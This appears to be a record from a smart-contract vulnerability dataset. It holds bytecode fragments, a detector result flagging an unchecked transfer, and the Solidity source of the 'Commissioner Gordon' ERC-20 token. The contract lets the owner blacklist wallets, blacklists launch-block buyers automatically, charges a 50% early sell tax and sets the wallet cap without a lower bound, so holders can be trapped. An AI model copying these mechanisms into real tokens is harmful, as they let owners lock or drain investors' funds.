fffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117c57600080fd5b600560009054906101000a900460ff1615151561119857600080fd5b6111ad8260005461211d90919063ffffffff16565b60008190555061120582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061135a82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113b28260005461213b90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114d157600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600360149054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156115d957600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561162757600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b983600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211d90919063ffffffff16565b101515156116c657600080fd5b61171882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ad82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600360149054906101000a900460ff1615151561187e57600080fd5b6118888383612186565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006118e6833384610e57565b15156118ee57fe5b6118f782611306565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195d57600080fd5b600560009054906101000a900460ff1615151561197957600080fd5b6001600560006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a2357600080fd5b600360149054906101000a900460ff16151515611a3f57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f9422424b175dda897495a07b091ef74a3ef715cf6d866fc972954c1c7f4593046001604051808215151515815260200191505060405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611af457600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f434946000000000000000000000000000000000000000000000000000000000081525081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611bed57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c2857600080fd5b611c3133611e7d565b151515611c3d57600080fd5b611c4684611e7d565b151515611c5257600080fd5b611c5c8484612417565b91505092915050565b6000600360149054906101000a900460ff16151515611c8357600080fd5b611c8d8383612447565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cf157600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611db657600080fd5b505af1158015611dca573d6000803e3d6000fd5b505050506040513d6020811015611de057600080fd5b8101908080519060200190929190505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f2f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f6b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561213157fe5b8091505092915050565b600082821115151561214957fe5b818303905092915050565b6000600360149054906101000a900460ff1615151561217257600080fd5b61217d848484612643565b90509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612297576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232b565b6122aa838261213b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff1615151561243557600080fd5b61243f8383612a02565b905092915050565b60006124d882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561268057600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156126ce57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561275957600080fd5b6127ab82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061284082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612a3f57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612a8d57600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515612b1c57600080fd5b612b6e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c0382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058205da50189f5a08b71132468553dab10179e673f614780d59b61690d30833950620029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,762 |
0xdeaeb49d51c59ac06e13ba6b2af521c76e9c94bf
|
/*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CommissionerGordon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Commissioner Gordon";//
string private constant _symbol = "CG";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 12;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 12;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x6dF1320e96F00916d21f93F98D1DA9F10d814028);//
address payable private _marketingAddress = payable(0x8Ceee4bC0AeaED4Cf493F13596a4bB77df493380);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //
uint256 public _maxWalletSize = 30000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
if(block.number <= launchBlock+10){
_taxFee = 50;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 12, "Buy tax must be between 0% and 12%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 12, "Sell tax must be between 0% and 12%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054f578063dd62ed3e14610565578063ea1644d5146105ab578063f2fde38b146105cb57600080fd5b8063a9059cbb146104ca578063bfd79284146104ea578063c3c8cd801461051a578063c492f0461461052f57600080fd5b80638f9a55c0116100d15780638f9a55c01461044957806395d89b411461045f57806398a5c3151461048a578063a2a957bb146104aa57600080fd5b80637d1db4a5146103f55780638da5cb5b1461040b5780638f70ccf71461042957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038b57806370a08231146103a0578063715018a6146103c057806374010ece146103d557600080fd5b8063313ce5671461030f57806349bd5a5e1461032b5780636b9990531461034b5780636d8aa8f81461036b57600080fd5b80631694505e116101ab5780631694505e1461027c57806318160ddd146102b457806323b872dd146102d95780632fd689e3146102f957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b6a565b6105eb565b005b34801561020a57600080fd5b5060408051808201909152601381527221b7b6b6b4b9b9b4b7b732b91023b7b93237b760691b60208201525b6040516102439190611c2f565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611c84565b61068a565b6040519015158152602001610243565b34801561028857600080fd5b5060155461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102c057600080fd5b50670de0b6b3a76400005b604051908152602001610243565b3480156102e557600080fd5b5061026c6102f4366004611cb0565b6106a1565b34801561030557600080fd5b506102cb60195481565b34801561031b57600080fd5b5060405160098152602001610243565b34801561033757600080fd5b5060165461029c906001600160a01b031681565b34801561035757600080fd5b506101fc610366366004611cf1565b61070a565b34801561037757600080fd5b506101fc610386366004611d1e565b610755565b34801561039757600080fd5b506101fc61079d565b3480156103ac57600080fd5b506102cb6103bb366004611cf1565b6107e8565b3480156103cc57600080fd5b506101fc61080a565b3480156103e157600080fd5b506101fc6103f0366004611d39565b61087e565b34801561040157600080fd5b506102cb60175481565b34801561041757600080fd5b506000546001600160a01b031661029c565b34801561043557600080fd5b506101fc610444366004611d1e565b6108bc565b34801561045557600080fd5b506102cb60185481565b34801561046b57600080fd5b50604080518082019091526002815261434760f01b6020820152610236565b34801561049657600080fd5b506101fc6104a5366004611d39565b610908565b3480156104b657600080fd5b506101fc6104c5366004611d52565b610937565b3480156104d657600080fd5b5061026c6104e5366004611c84565b610aed565b3480156104f657600080fd5b5061026c610505366004611cf1565b60116020526000908152604090205460ff1681565b34801561052657600080fd5b506101fc610afa565b34801561053b57600080fd5b506101fc61054a366004611d84565b610b4e565b34801561055b57600080fd5b506102cb60085481565b34801561057157600080fd5b506102cb610580366004611e08565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b757600080fd5b506101fc6105c6366004611d39565b610bef565b3480156105d757600080fd5b506101fc6105e6366004611cf1565b610c1e565b6000546001600160a01b0316331461061e5760405162461bcd60e51b815260040161061590611e41565b60405180910390fd5b60005b81518110156106865760016011600084848151811061064257610642611e76565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067e81611ea2565b915050610621565b5050565b6000610697338484610d08565b5060015b9